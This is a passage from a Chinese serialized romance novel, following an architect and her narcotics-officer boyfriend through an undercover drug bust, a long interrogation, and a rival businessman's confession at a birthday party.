这一晚梁然睡觉都不安稳,醒得比日常生物钟还早了一个小时。 而沈宗野竟跟她一样,床边已经没人了,沈宗野也早醒了这么久,枕侧的床单上都没有余热。 梁然从床上坐起身,沈宗野听到声音走进卧室。 梁然抬起眼时微微怔住。 沈宗野今天穿着警礼服,庄严挺正的六粒扣西装上缀着绶带与警章,他扣起白衬衫最上面一颗纽扣,正系着领结。 梁然从来没有见过沈宗野穿正式制服的样子。 挺括的警礼服让他更显得英隽严肃,和普通服装的英俊完全不同,制服加持的他有一种扑面而来的诱惑力。 “今天要穿得这么正式吗?” “嗯,有个采访。”沈宗野说,“先起来吃饭,我做好早餐了。” 沈宗野俯身亲了亲梁然额头。 他起身时,梁然扯住了他领带。 沈宗野垂下眼眸。 梁然白皙的脸微仰,手指抚过他胸前的警号。 “006819,沈淮宗。”梁然弯起唇,“你今天好帅啊。” 沈宗野喉结轻滚。 昨晚的不愉快在这瞬间消散,梁然觉得她还是应该做回理性的人,不要被乔思嘉昨晚的话滋生那些无用的愧疚感。 她喜欢和沈宗野现在的状态,这就够了。 梁然扯住沈宗野的领带,吻上他喉结。 沈宗野脖颈上瞬间崩扯开青色筋络,梁然非但没有停下,还吻到了他耳边。 “沈宗野,我想吃的不是早餐了怎么办……” 沈宗野勾起薄唇,微眯的眼眸危险又恣意。 …… 两个小时后,沈宗野重新系上领结,站在床下看了眼腕表。 梁然还软在床上,实在不想再动弹。 沈宗野捞起她:“你上班要迟到了。” 梁然腰还酸,坐不起来。 沈宗野把她从床上抱起来,她像没骨头一样靠在他肩膀上。 沈宗野说:“早饭吃不了了。” 餐桌上的食物早就凉透了。 梁然这才慵懒地抬起头,扶了扶沈宗野的绶带。 她嘴唇边还咬着刚才折腾的一缕头发,沈宗野笑容有些恣意,替她拨开。 “太快了。” “什么?”沈宗野眯起眼眸。 梁然望着他,桃花眼里还染着一抹湿红:“你自己不觉得?” 沈宗野眼眸冷下来,周身散发着浓烈的压迫。 他到底在忍什么,才让梁然产生这样的错觉。 沈宗野微眯眼眸:“你记住你现在说的话。” “我要来不及了,我下班去接你。” “为什么要接采访?”梁然恢复了理智,问起,“你的职业不应该接受这些采访吧?” “嗯,我也不想,但是会打码,不会暴露我的脸。” “那身形和声音呢?还有你的手指。” “我问了,这些都会做处理,不会暴露我的信息。” 梁然这才点点头。 沈宗野亲了亲梁然头发:“下班了去接你,我现在必须要走了。” “嗯。” 沈宗野离开了房间。 梁然听到了他关门的声音,腿还发软,重新躺回床上。 她又赖了十几分钟才下床,地上有些凌乱,平时都是沈宗野收拾这些。 梁然捡起地板上用过的东西扔进垃圾桶,整张床上像屋顶漏了雨,都是她的。她一股脑塞进了洗衣机,脸颊有些烫。 梁然望了望镜子,有些失笑。 她忽然觉得昨晚去在意乔思嘉的话,去在意沈宗野的体贴是过于矫情。 这段关系她已经和沈宗野制定得很清楚了,就维系在浅薄的喜欢上就好了,何况沈宗野也从来没有说过爱她。 他只是喜欢她,喜欢她的身体,忠于这份关系,不就行了么。 …… 沈宗野的这个采访按时举行。 这是他第一次面对镜头接受采访,之前也有几次王有为想安排他当缉毒英雄的典型,但都被沈宗野拒绝了。 如今沈宗野不希望因为他的工作影响了梁然,他越强大,才越不会有人去质疑梁然。 遮掩镜头的绿植,口罩,手套都有为他准备。 采访顺利结束,主持人还挺遗憾不能公开他的面部,如果以沈宗野这张完美又英勇的形象来宣传危险的缉毒工作,节目效果的反差感势必拉满。 沈宗野说:“麻烦后期一定要传给我们局里审查。” “您放心,我们自然会保护好您。” 沈宗野回到局里,一进门王有为就召集大家开会。 南城下面一个县城有两名毒贩明天凌晨三点要进行交易,消息是线人给的,确定准确,案子轮到沈宗野他们组。 沈宗野负责乔装一名马仔去跟货,锁定位置。谢天明继续在远处暗哨观察,和他搭档。其余同事化妆成路人蹲守在附近,随时待命。 案子分配完,大家各自都去准备。 沈宗野回家换下警礼服,卧室里的被子铺在床上,梁然没有叠被子的习惯。 沈宗野掀起被子,想将床单拆下,才看到梁然竟已经将床单放进了洗衣机里。 沈宗野不免想笑,联系了保洁上门来打扫。 他换了套乔装的衣服给梁然打电话。 “在忙吗?” 梁然正好开完一个会,回到办公室签几份文件。 “不是很忙,怎么了?”沈宗野很少会在她工作时间给她来电话。 “我有个案子,可能明天才能回来,今晚我不能来接你下班了,晚上不能陪你了,抱歉。” 沈宗野有些愧疚:“我想来陪你吃顿午饭,要是你太忙的话也没关系,我明天就回来。” “好,你来我公司楼下吧。”梁然将签了一半的文件拿给乔思嘉。 “这些文件帮我处理一下,我和沈宗野吃个饭。” “才刚12点就想着约会?”乔思嘉酸溜溜说,“欺负我现在没江凛可以约会是吧,我要去当灯泡。” “他要办个案子,也许要去卧底吧。” 乔思嘉忙说:“那我不去了,我开玩笑的,你快去吧。” 梁然去楼下餐厅订了个包间。 菜上齐时,沈宗野刚好赶来。 看着桌上的菜他有些歉意。 “抱歉,应该到了再给你打电话。” “还是第一次见你穿成这样。”望着眼前的沈宗野,梁然忍不住一笑。 沈宗野穿着一件宽松的花衬衫,下身是沙滩短裤,脖子上挂着条项链,灯光下折射起冷调的银光。 明明早上梁然见到的还是穿着警礼服的警官,才几个小时不见警官就变成了一身痞气的懒散青年。 但是她的笑渐渐褪却,毕竟沈宗野是去出任务。 似乎感应到她的情绪,沈宗野说:“不是什么危险的案子,明早办完就回来了。” 梁然问起案子:“是去哪里?” “南城下面一个县。” “小谢还跟你一起吗?” “嗯,很多同事都在,不用担心我。” 梁然说:“吃饭吧。” 桌上有一道笋尖是沈宗野和梁然在外面吃饭时他点过几次的菜,他喜欢笋尖,梁然记住了。 沈宗野吃完了这碟笋,停下了筷子看着梁然吃。 梁然专注吃饭,但是余光里知道沈宗野在看她,她没有抬头。 她在想她似乎只记住了沈宗野这个口味,对于他其他的事情,对于他的爱好习惯,对他的父母、家庭背景,她什么都没有去了解,将这些主动摒弃在她制定的规则外。 梁然吃好饭,抬头看沈宗野,他薄唇边挂着淡笑。 梁然还是会担心他的任务,即便她对他并没有那种深切的感情,这段简单的喜欢还是会让她去关心他的安危。 “能给你打电话吗?” 沈宗野有些黯然,似乎怕她生气,他认真说:“我会给你报平安。” 梁然点点头。 沈宗野起身出去结账,将她送到电梯口。 梁然说:“要去我办公室坐会儿么?” “不了吧,今天穿得不太适合。”沈宗野看着她,“你上去吧。” 梁然说:“祝你顺利。” 她进了电梯,沈宗野站在门外,直到两扇电梯门合上,将他深邃的一双眼隔离在金属门壁外。 梁然忽然才意识到他们竟然连拥抱都没有。 她有些失笑,不过还好,至少这证明沈宗野也没有爱上她。 维系在这种浅薄简单,身体又互相愉悦的状态就可以了。 梁然回到楼上,拿出手机时才看到沈宗野在一分钟前发来的微信。 沈宗野:「我忘了抱你」 梁然怔住,心脏的跳动像手上水杯里激起的涟漪。 她抿了抿唇,回复:「等你回来我拥抱你」 …… 沈宗野还站在楼下的电梯外。 他不是忘了拥抱梁然,他是在等梁然拥抱他。 这不过只是个小案子,平时化妆侦查很多回,对付几个小毒贩不算太凶险,但他也会期待梁然的看法。 刚才从餐厅出来一路人都很多,他将梁然送到电梯外,他以为她是在等人少的地方再拥抱他。 沈宗野望着电梯门缓缓合上,他眼里的光熄灭在那扇金属门后。 揣在兜里的手掌握紧又松开,沈宗野告诉自己他不应该去强求太多,他不应该去打破梁然的规则,他很害怕惹她生气,害怕这段关系离场的那天。 直到收到梁然这条回复,沈宗野才终于扬起笑。 下午,负责这个案子的众人都赶往了嫌疑人所在的地点,沈宗野跟人接上头,报着被抓的毒贩招供的暗号,他都对得上,对方也没起疑。 只是到了凌晨三点,交易没有如期进行,两个毒贩改了交易。 沈宗野又被安排在了一间出租房里,被人指挥下楼去买饭。 楼下的早市人不多,这片区域僻静,餐馆也没几家生意,沈宗野视线扫到了谢天明,站在餐馆前买饭,点燃一支烟给出个暗号手势。 他挺想给梁然打电话,但又觉得似乎太过矫情。这不过就是个简单的案子,这些毒贩更改交易是常有的事。 这个案子持续到第二天的晚上,两个毒贩才开始交易。 抓捕的时候两名毒贩受惊要跑,疯狂将毒品往河里扔。沈宗野按倒其中一名毒贩,夺下毒品袋的时候被踢中腹部,他反手扭住毒贩右臂,夺走对方左手的弹簧刀。 老孙从对面桥头拦住另一名逃跑的毒贩,几番扭打进了树林,持枪的同事不便射击,老孙忽然被对方的刀刺中大腿。 “卧槽!”老孙痛得惊呼,毒贩趁机从他手下逃脱,老孙爬起来追赶,硬是将人死死按下,用手铐拷在一起。 夜晚的树林一片漆黑,众人赶来时才看到草叶上沾着很多血,蜿蜒了一路,也不知道老孙怎么忍痛把人按下的。 老孙腿上鲜血淋漓,沈宗野离他最近,将衬衫脱下勒住老孙的伤口。 老孙痛得咬牙哆嗦:“差一点我就成真老孙了。卧槽,兄弟你扎得太狠了,我才刚娶上老婆,吓死我了!” 被老孙拷住手腕的那名毒贩面对他这声兄弟,满嘴脏话诅咒老孙。 收尾后,沈宗野回到警车上,他身上已经没了衣服,车上没有别的服装,谢天明递给他一套作训服。 沈宗野套在身上:“我手机呢?” “呶。”谢天明将手机递给沈宗野,“嫂子昨天晚上就给我打了电话,问你忙完了没,今天下午又打了一个。” …… 本来应该昨天凌晨就结束的案子,拖到了今天晚上。 梁然昨天中午给沈宗野打了电话,他的手机关机了,她才在晚上没有等到沈宗野回信时打给了谢天明。 梁然昨晚睡得不是很好,没有等到沈宗野如约回来,她还是会有些担心。 她起床去厨房煮了杯羊奶,轻声走到梁悦门外。 梁悦带了一个女同学来家里住,两个人玩累了,这会儿已经听不到说笑的声音了,房间里很安静。 梁然回到客厅,葡萄从房间里摇摇摆摆跳到她旁边的沙发上,“瞄”一声,四仰八叉地躺出舒服的姿势。 梁然摸了摸小胖猫毛绒绒的肚子,打开沈宗野的微信,他还是没有回复她消息。 到了今天,她中午又给沈宗野打了电话,也是关机状态,她才联系了谢天明。 谢天明说案子虽然有意外情况,但还算安全,在掌控范围,要她别担心。 陆朝的工作压下来,梁然才终于被分走情绪,埋进工作里。 陆朝邀请梁然去集团战略会议上叙一份美术馆和住宅楼的汇报。 公司是陆朝爸爸的,他作为家中长子虽然担任的是CEO,但还有小妈的弟弟和他暗中较劲。梁然的汇报算是去帮他造势。 临时的PPT梁然也做得非常出色,在他们集团的会议上为陆朝博到一众高层的认可,打了陆朝讨厌的人的脸。 陆氏的晚宴上,陆朝对梁然说:“谢了,今天本不该临时安排你这么棘手的任务。” “不算棘手。”时间也晚了,梁然已经有些饿,吃着晚宴上不算好吃的食物。 陆朝垂眸看着梁然笑了笑。 梁然正好想问他住宅楼的事,她抬头时,陆朝连忙收起笑,回避她的视线,板着一向冷冰冰的脸。 梁然倒是有些意外,又觉得好笑幼稚。 “这个住宅项目你还没有交给我们,今天会上骗了你们陆董不太好吧。” “怎么就是骗,等下就去签合同。” 梁然很是满意,弯起唇,端起高脚杯里的红酒:“谢谢陆总信任。” 陆朝看她将酒喝完,目光停留在她手指上,他收起视线:“你还挺厉害的,业务能力很优秀。” 梁然正要回复陆朝的话,终于接到了沈宗野的电话。 他说:“梁然,我回来了。” 梁然走到人少的角落,望着墙上玻璃倒映的觥筹交错,攒动人潮,终于露出笑。 “沈宗野。” “是我,我往南城赶了。” “你没受伤吧?” “没有。” 梁然说:“那就好。” 听筒里有些发烫,这抹极微的烫与沈宗野磁性的嗓音一起贴着梁然耳朵。 “可以不挂吗?你在忙吗,我想听你的声音。”沈宗野说。 梁然问:“你在哪里?” “在回南城的路上。” “你什么时候到?” “从黎水开过来的方向,大概四五十分钟。” “那我可能还在甲方这边,我可能还要签个合同,得配合甲方的时间。” 沈宗野说:“我来找你。” 梁然弯起唇:“嗯,我只能先挂了。” “好。” 梁然重新回到宴会上,陆朝还在那张桌台旁吃东西。 梁然脸上挂着笑。 陆朝说:“有什么好事笑得这么高兴?” “双喜临门的好事。”梁然说,“我帮了你,今晚能签合同,让我双喜临门吗?” 陆朝勾起唇:“我想对你说一声抱歉。” “之前觉得你像花瓶,是我肤浅了。你比花瓶有意思多了。” 梁然说:“在我这里花瓶是个褒义词。” 如果签下这个合同,那她们工作室的业绩就相当于去年一整年的成果。梁然很喜欢工作带给她的成就感,陆朝也对她也没有任何套路,直接带她去CEO办公室签完合同。 时间已经很晚,这层办公室已经没有其他人在。 沈宗野发来微信说到了楼下,但车子不能开进停车场,他在楼下临停的车位等梁然。 梁然对陆朝说:“谢谢陆总,我这个乙方可以下班了吧。” “你好像真的很高兴,你这么喜欢工作?”陆朝说,“走吧,我也要下班了。” 两人进了专梯,陆朝按下车库那层,梁然按了一楼。 “你没开车来?那我送你。” “我男朋友在一楼等我。” 陆朝眼眸扫过梁然白皙的手指:“没看到你戴戒指。” 陆朝的助理也在电梯里,一时往后靠了两步,身为助理,自然十分了解老板的脾气,已经知道电梯里的气氛冷到了极点。 但梁然感受不到,她并没有太多的视线放在陆朝身上。 就算陆朝对她有意思,这种聪明的商人也不会因为她有男友就随便撤销刚签的合同,这也是梁然速战速决的原因。 梁然笑:“我不喜欢戴戒指。” 陆朝紧抿着唇,不再讲话。 电梯到了一楼,梁然说:“多谢陆总,改天见。” “我送你。” 陆朝的行为有些反常,梁然也不好拒绝。 梁然走出大楼,晚风扑面而来,盛夏的风里弥散着白昼的热潮余温。 沈宗野站在他的车前,视线一直注视着门外,直到梁然推开玻璃门,晚风吹起她的头发。 见到彼此,他们都露出了笑。 沈宗野预想的是他要穿过这场晚风去拥抱梁然,紧紧地抱她。 但是见到梁然,他在她的笑容里只是露出同样的笑,步伐稳重走到她身前。 第94章 第94章“沈淮宗,你不要爱上我…… 梁然也没有像沈宗野预想中那样奔向他,但沈宗野知道她在为他担心,这两天里她在微信上发来三条信息问他: 「结束了吗?」 「沈宗野,案子办完了吗?」 「你还没回来。」 沈宗野看到这些信息时心脏都像在抽。搐,一种猛烈的颤动。 和梁然在一起后,这是他第一次去出任务,他以前都不害怕归期,但是现在他竟然会害怕案子的归期。 梁然没有穿过这场晚风来拥抱他,她停在他面前,上下打量了他,桃花眼里生着笑,回头对身后的人说了再见。 沈宗野这才注意到她身后西装革履的青年。 不同于陈沥周的斯文儒雅,青年气场冷淡,周身散发着高高在上的矜贵,甚至用眼神暗中打量他。 同为男性,沈宗野一眼便知道这是梁然的爱慕者。 陆朝并没有和沈宗野打招呼,转身回了大楼。 沈宗野紧望着梁然。 风吹过梁然笑着的眼睛,她张开手臂抱住了他。 沈宗野收紧了双臂。 这个拥抱持续了很久,八月的晚风竟然这么温柔,城市的灯火像绚烂的星。 梁然从沈宗野怀抱里抬起头:“这是我看见你穿的第三套制服。” 沈宗野失笑。 梁然也笑。 梁然和梁悦打完电话,让季阿姨陪梁悦后就去了沈宗野的家。 回到家里,刚关上房门,屋子里连灯都没有打开,沈宗野的吻铺天盖地落下来。 梁然仰着脖子,连腰都被这个吻倾轧到了极限,她喘息地捧着沈宗野的脸。 “真的没有受伤吗?” “没有,没骗你。” “你让我看。”梁然打开了灯。 沈宗野去换作训服,他腹部被毒贩踢中的那一脚竟起了淤青。 梁然:“你学会睁眼说瞎话了?” “我一点也不疼。” 沈宗野哪里知道这一脚还给他踹出证据来了。 他喉结轻滚,将梁然抱到卧室。 “还记得你前两天说的话么?”沈宗野的嗓音有一些危险,他眯起眼眸。 那天梁然说他太快了。 梁然翘起唇:“我说什么了?” 沈宗野眉梢微挑,掌住梁然的腰,粗粝的手指捏住梁然脸颊,她嘴唇被捏到嘟起,他亲咬下去。 梁然很配合他,又娇又颤的嗓音几乎扯碎沈宗野所有理智。 直到他的气息越发粗沉,梁然忍了好久的笑才终于笑出声来。 “沈宗野,我来例假了。哈哈哈。” 沈宗野眼眸一暗,撑起的手臂青筋鼓动,他看着在笑的梁然,一时也好笑地弯起唇。他第一次看到梁然这么开心的大笑。 沈宗野有点意犹未尽地将梁然衣服拉好。 “你今晚喝酒了?” “喝了一杯,签了一个超级大的项目。” “真厉害,那你肚子会疼么?” “这会儿不疼,但我昨晚没睡好,有点头痛。” 沈宗野将梁然扶起来,按住她后颈和头顶几个穴位,是他在网上学的。 梁然放松了很多:“你好像很会照顾人。” 沈宗野只是问她:“舒服么?” 梁然慵懒地逸出一声“嗯”。 “像这样快的案子多吗?” 沈宗野说:“每天都有,会轮到我们每个组。” “那你以后能都只接这样的案子吗?” 沈宗野沉默了下,握住梁然手指。 梁然知道了他没说完的话,她说:“我有点想睡了,今晚签下的项目对我们很重要,明天我想早点去公司。” “好。”沈宗野关掉灯。 原本他以为今晚能陪在梁然身边,但局里突然来了电话,要他回去审犯人。 沈宗野在客厅小声接着这个电话,却还是吵醒了梁然。 梁然这会儿小肚子有些痛起来,刚才是想侧身去抱沈宗野,但却抱了个空。 她站在门口,扶着疼痛的小腹望着沈宗野。 沈宗野挂了电话,眼神有些不敢直视她。 “你肚子疼吗?” “你要去单位?” “要去审犯人,今晚被抓的毒贩指名要见我。” 这也是毒贩们惯常折腾警察的手段,沈宗野知道就算他去了,毒贩也不会给他口供,但这是他的职责,他还是得过去。 梁然说:“那你去吧,明早才回来?” “我也不清楚。” 梁然点点头。 “你肚子疼吗?” 梁然没说话,沈宗野弯下腰抱住她。 他吻了吻梁然的头发,沉默许久,直到安静的客厅里响起他的一声“对不起”。 梁然无所谓地说:“没关系。” 沈宗野紧望她。 梁然一笑:“真的没关系,你不用说对不起。” “其实这样也蛮好的,我没有爱上你,你也没有爱上我,以后分开了也不会太难过。”梁然说,“沈淮宗,你去吧。” 梁然很少叫他的真名。 沈宗野眼眸晦暗得比夜色还深,他张了张唇,喉咙里紧涩发痛,梁然只是在对他笑,她的笑一贯清冷,又多了那么一点可惜和黯淡。 沈宗野忽然将她拽到怀里,狠狠收紧手臂。 “梁然……” “沈淮宗,你不要爱上我。我喜欢的是沈宗野。” …… 凌晨三点的夜,黑色汽车停进一辆辆警车旁,沈宗野看了会儿浓郁的夜色,目光淡淡拿起手机下了车。 他像一具冷锐的机器,走进审讯室,早已经熬了五个小时的同事赶紧把位置让给他。 审讯室里灯光透亮,那名被沈宗野缉拿的毒贩死死盯着沈宗野,咬牙切齿,朝他冷笑。 沈宗野冷漠地坐下,开始走审讯流程。 他问了有一个小时,那名毒贩就蹦了几个字,后面对他嘲笑:“逗你玩呢,你来了我也没得招。” “我没贩毒,那些是帮人卖的,我都不知道里面是毒品。” 沈宗野忽然站起身,修长挺拔的身躯绕过审讯桌,冷冷关掉架上的监控,他掀起眼皮,朝那名毒贩走去。 他浑身都是阴鸷的气场,冰寒的眼眸像淬了刀,他手臂撑在那张狭小的桌上,眼里全是危险的气息。 那名毒贩想往后退,但后背就是冰冷的椅背,他有些被沈宗野的气场吓到。 “你、你干什么,来人啊!警察打人了!” 沈宗野冷冰冰睨着眼前的人:“再喊一声试试?” “你那个指挥我下去买饭的小弟可是什么都招了,我耐心有限,你让我不好过,我就让你过不下去。” 沈宗野坐到了早上七点。 给梁然订的早餐已经送到家里,梁然给他发了微信。 梁然:「谢谢你的早餐」 沈宗野走出审讯室,给梁然回复消息:「肚子还疼吗?」 梁然没有再回复他。 沈宗野在外面办公室坐了很久,一直在等梁然的回复,他反复地刷着这两天里梁然发给他的这三条消息,反复地在这些简短的文字里去求证她担心他的证据。 天已经亮了,月亮隐入了明朗天光里。 沈宗野将梁然的名字改成了一个弯月的图标,是她专属的备注。 他重新回到审讯室,像个冷漠的机器继续审讯毒贩。 这场审讯又耗了两天,沈宗野不休不止坐了十几个小时,中途实在熬不下去了睡在了宿舍,醒过来又坐进审讯室里,连续五十几个小时过去,那名熬不下去的毒贩终于招供了一些线索。 …… 梁然已经恢复到工作状态。 合同签订,工作室和陆朝的接触也变得频繁起来。 这三天里,她和沈宗野都没有再通过电话。 沈宗野会在休息时给她发信息告诉她他中途出来休息、吃饭,问她肚子还疼不疼,给她点的红糖水她收没收到。梁然的工作忙起来都没有时间看手机,再回复给沈宗野时他又进审讯室审毒贩了,两人时间上都完美错开。 乔思嘉这两天很开心,因为江凛抓到了嫌疑疑人,总算从沙漠里回到湿润的南城了。 开心的乔思嘉自然没有留意到梁然的状态,只以为她这两三天的沉默是因为陆朝的大项目和她例假的不舒服。 晚上要去参加陆朝的生日宴会,梁然和乔思嘉下班后备了礼物过去,难得是江凛开车送他们。 乔思嘉在车上说到沈宗野:“你不好好催催沈淮宗,然然都有两三天没见到他了。” 江凛问:“他最近在忙案子?” “嗯。”梁然应了一声。 江凛说:“那正常,他们忙起来可比我们忙多了,只要没有惊动省厅的大案就庆幸吧。” 不过江凛也看出梁然的情绪不佳,耐心说道:“希望你体谅体谅淮宗,他肯定也是想陪你的,回头我也劝劝他别这么死命地往前冲,圆滑一点。” 梁然说:“没关系。” 陆朝的生日宴会在他一处私家庄园举行,庄园四周草坪辽阔,远处是风景优美的湖泊,江凛作为司机就被安排在草坪这头等候,也有食物提供给来宾司机。乔思嘉让江凛一起进去,江凛懒得应付,说在车上补觉。 梁然和乔思嘉去了宴会厅。 生日的主角陆朝今晚格外英俊,被众星捧月恭维。他看到了梁然和乔思嘉,穿过人群朝她们走来。 梁然说:“生日快乐,陆总。” “谢谢。” 这种宴会都是梁然和乔思嘉来扩展人脉的,她们俩很默契,各自分头穿行在人群里,寻找精准目标,和人“不经意”聊进建筑项目里。 梁然在添加了两位南城知名人物后,转身就看到人群里看向她的陆朝。 这一次陆朝视线没有回避,而是微仰下颔看了她许久,然后转身走向人少的一条长廊。 梁然犹豫了下,放下酒杯,还是跟了上去。 陆朝穿过长廊走向草坪,这里人不多,远处是平静的湖面。 “我以为你不会跟来。”陆朝说。 梁然笑:“不是你叫我来的么。” 陆朝一笑,看了会儿远处的夜色:“你男朋友呢?” “邀请函上没有说携带朋友。” 邀请函写的是可携带一名家属,梁然这样的回答就是说沈宗野不算她的家属。 陆朝正视起梁然的眼睛:“你和那个人谈多久了?” “问这个做什么。” “现在不是会上,当个朋友问问不行吗。” 梁然顿了片刻:“谈很久了。” “你喜欢警察?” 梁然没说话。 陆朝说:“我以为你没男朋友,是单身。梁然,我谈过一段恋爱,我不爱滥交,如果你和那个人分手了,可以和我试试。” 梁然抬起眼。 陆朝如今不再回避她的视线,眼神真诚。 他是个很少笑的人,接触以来都比较冷静理智,像梁然一样时时刻刻都扑在工作上。 梁然觉得陆朝和她很像,她只是没想到陆朝会跟她表白。 “我是说真的,我不看重门第,而且你也很优秀。我想等你分手了,我们可以试试。” 梁然还是没说话,她只是在想她和沈宗野的关系。 她是从来没有考虑过找一个警察职业的人成为她的伴侣,尤其还是缉毒警察。但是至少她很清楚她喜欢沈宗野,她现在不想放弃沈宗野。 那天晚上见到沈宗野回来她会非常开心,但是真是奇怪,她开心的时候情绪竟也那么稳定,她只是笑着拥抱他。甚至回到他们做过爱的那张床上,她明明忍着想看沈宗野的笑话,在她说出她例假来了时,沈宗野那股怅然的失落明明是她故意想看到的,她却还是可以笑得那么情绪稳定。 她好像做不到像乔思嘉那样在恋爱里大哭大笑。 明明那天晚上她希望沈宗野不要去局里,她希望他留下来,但她还是可以那么稳定地回归理智,无所谓地告诉他“没关系”。 沈宗野的假期结束后,他们就好像从如胶似漆的关系中剥离,回归了现实。这是他们第一次面对在恋爱中出任务,沈宗野无法陪伴她,她也无法让沈宗野在深夜留下来,明明她那天晚上肚子很痛,很想他留下来陪她。 也许以后漫长的每一天都是如此,他是一个缉毒警察。可她是一个普通人,她拥有普通人的自由和需求。而这些沈宗野都无法给她。 这几天她没有联系沈宗野,想的好像都是这些,可过往所有都像怀城相遇的那个雨天,丝丝缕缕缠着理不清的线。 远处的音乐声传到了这里,是舞会的音乐,来宾在音乐里跳起舞。 陆朝说:“我的家族很复杂,我想找一个势均力敌,我喜欢的人当人生的另一办。如果你肯,我可以等你分手。” 梁然问陆朝:“你喜欢我的业务能力?” 陆朝挑起眉:“是,也不是。你很漂亮,你的外表我喜欢。你的工作能力我也欣赏。再接触几回吧,我不想给你压力,等我们真正了解彼此你再给我答复。” 陆朝等着梁然的回应。 梁然对他抿唇笑了下。 她一向非常理智,从在宁城借助宋晟去闯沈宗野的包房,她就已经能够平衡好私人情感和工作的关系。 她说:“谢谢你的欣赏,你也是个很特别的富二代。” 陆朝一笑:“真是不喜欢这个称呼。” “跳支舞吧。” 梁然把手给了陆朝,陆朝扶住她的腰。 音乐像起伏的浪涌,晚风带起远处湖水的潮气,梁然在旋转里眺望到了夜色,意外看到夜色尽头里的沈宗野。 他穿着一身黑色衬衫,站在江凛身边。 他遥遥看着她,目光那样平静,他浑身的黑,好像永远只能站在边缘的黑夜里。 第95章 第95章“梁然,你有心吗?”…… 舞还在继续,陆朝也看到了沈宗野。 “你男朋友好像吃醋了,嗯?” “我过去一下。” “至少要跳完这支舞吧。”陆朝收紧落在梁然腰际的手臂,垂眸笑看着她。 梁然跳着这支舞,沈宗野已经转身,只留下一个背影。江凛还站在原地,微抬下颔看着梁然一会儿,也转身跟上沈宗野。 等舞停下,梁然提起裙摆朝沈宗野那头走去。 陆朝在身后哂笑:“我觉你男朋友也不怎么样。” 梁然停了下来,认真看着陆朝:“在当男朋友这件事上,他可比百分之九十的人厉害多了。” 陆朝的笑逐渐冷下:“梁然,我会等你。” 梁然转身离开这片草坪。 她在司机休息的区域找到沈宗野,沈宗野和江凛坐在一张桌前,那里有食物和一些饮料,江凛正把食物给沈宗野,沈宗野说不饿,取出一支烟却没有点,把玩着着烟盒。 沈宗野余光瞥见了梁然。 梁然放下提起的裙摆,走到他面前。 “你忙完案子了?” “嗯。”沈宗野从椅子上起身,他的视线有些局促,害怕她的眼神和责怪,“我刚忙完,想来看你,江凛说你们在这里,我是想给你一个惊喜。抱歉,我以后来找你都先问问你方不方便。” “有什么不方便的,我只是在交际。” “我知道。” 梁然说:“你吃饭了吗?” “随便吃了点。” “你吃没吃饭?”梁然的语气突然有些严肃。 她的声调并不高,也不是生气的语气,但这句话的情绪让她自己也意外了下,她很少会这样动怒。是的,梁然是在生气沈宗野不说实话。 沈宗野也意外地看了眼她,他的眼神更愧疚:“还没有。抱歉啊,我让你不高兴了。” 江凛:“沈淮宗,你在我面前怎么没有乖顺的时候啊?你装什么清纯男绿茶。” 沈宗野掀起眼皮睨了江凛一眼,这一眼非常冷淡锐利,让江凛被硬控到小时候追不上沈宗野,失足落水的那种恐惧里,那时候沈宗野跳进海岸直接将他捞起来,从小到大的沈宗野可从没怕过任何人任何事。 江凛闭了嘴。 梁然说:“我去给你找点吃的,跟我来。” 沈宗野顿了下,梁然已经往宴会厅那里走了,他只好跟在梁然身后。 今晚的梁然穿着到脚踝的黑色长裙,卷发披散,侧边夹着一只祖母绿发卡。她很耀眼,不管是穿礼裙还是穿着西装在工地上行走,她都是人群里的月亮。 梁然找侍者要了两份牛排,看着沈宗野吃完。 宴会参加得差不多了,梁然找到乔思嘉,三个人往停车场走。 江凛还坐在那张椅子上,看到他们回来,他没关注乔思嘉,倒是非常好笑地对梁然说:“梁然你过来,我给你看个东西。” 梁然和乔思嘉对视一眼,乔思嘉也凑到江凛跟前:“看什么宝贝?我要看。” 江凛只冲梁然傻乐,把刚才沈宗野放在桌上的那包烟给梁然看。 烟盒里的一只只烟碎成了渣渣。 “你瞧瞧,都碎了。啧,也不知道有些人是多大仇多大恨,要拿烟撒气。” 那是沈宗野刚才看到梁然和陆朝跳舞后回来打开的烟,他那时候捏紧了这包烟,只是不知道这么不经捏。 “有些人表面上装得很无所谓,实际上心里已经学会自己酿醋了啊。” 梁然看向沈宗野。 沈宗野淡淡说:“办案时碎的吧。” 梁然忽然忍不住想笑。 他们离开了这座庄园,乔思嘉今晚要回她自己的别墅,江凛便开着车和乔思嘉一起回去。 梁然坐在沈宗野的车上,沈宗野开得有些慢,跟在江凛后面。 梁然说:“你吃饱了吗?” “吃饱了。” “这几天都在审犯人?” “嗯,他们嘴硬,大家只能熬着。” “那你睡觉了吗?” 沈宗野有十几个小时没有睡过觉了。 终于审出了线索他才想来看梁然,是江凛说梁然在这里他才特意开车过来。 后座上有一束粉色玫瑰,沈宗野是想送给梁然的,但今晚看到梁然和陆朝后他没有再在刚才上车前把花拿出来。 梁然看到了那束花,她眼睛里有些笑意:“谢谢你,我喜欢粉色的玫瑰。” 沈宗野薄唇抿起笑,继续回答刚才梁然的话:“把你送到家我再回去睡觉。” “你开车回南湖还要很久,今晚在我那里睡吧。” “没事,悦悦在陪你,我去了她不方便。” 梁然说没关系。 沈宗野在红灯停下时握住梁然的手:“我没事,还能再开会儿。” 梁然又有些不高兴了,她语气清冷:“那你去嘉嘉那里睡,我跟她说一声,她家里也只有她和江凛在,你睡楼下,他们睡楼上,不影响。我有个文件要看,晚上我忙完了就去找你。” 沈宗野犹豫了下,他不想让梁然不高兴。 梁然:“说定了。” 她当即给乔思嘉打了电话,乔思嘉哈哈笑着说没问题,要不是明天要上班晚上还可以在她那里开趴。 于是将梁然送到家后,沈宗野只好跟在江凛车后,开进了乔思嘉家里。 乔思嘉在梁然小区附近买了栋联排别墅,为了方便和梁然做邻居,梁然那套楼又没有房源,只能退而求次买在这里。 乔思嘉之前一直住在江凛的公寓,今天也是因为要回来改文件,顺便也是收拾一下房子,乔父乔母过几天要来这里看她,来玩一段时间。 沈宗野住在这里当然不太自在,江凛知道他没吃饱,要给他煮面,沈宗野说:“不用折腾了,我想先洗个澡睡一下。” 江凛知道没日没夜耗在审讯室的滋味,便没再打扰沈宗野,将沈宗野带到楼下的房间就上了二楼去找乔思嘉。 乔思嘉今晚有些喝多了,为了结识人脉还饮了几杯烈酒,这会儿酒劲上头,已经改不了文件了,想去关电脑。 江凛把热牛奶喂到乔思嘉嘴边,一向冷淡的他也只有在看乔思嘉时眼里才会有心疼。 “梁然是怎么照顾你的,自己去和别人跳舞,把你搁到人堆里喝酒。” 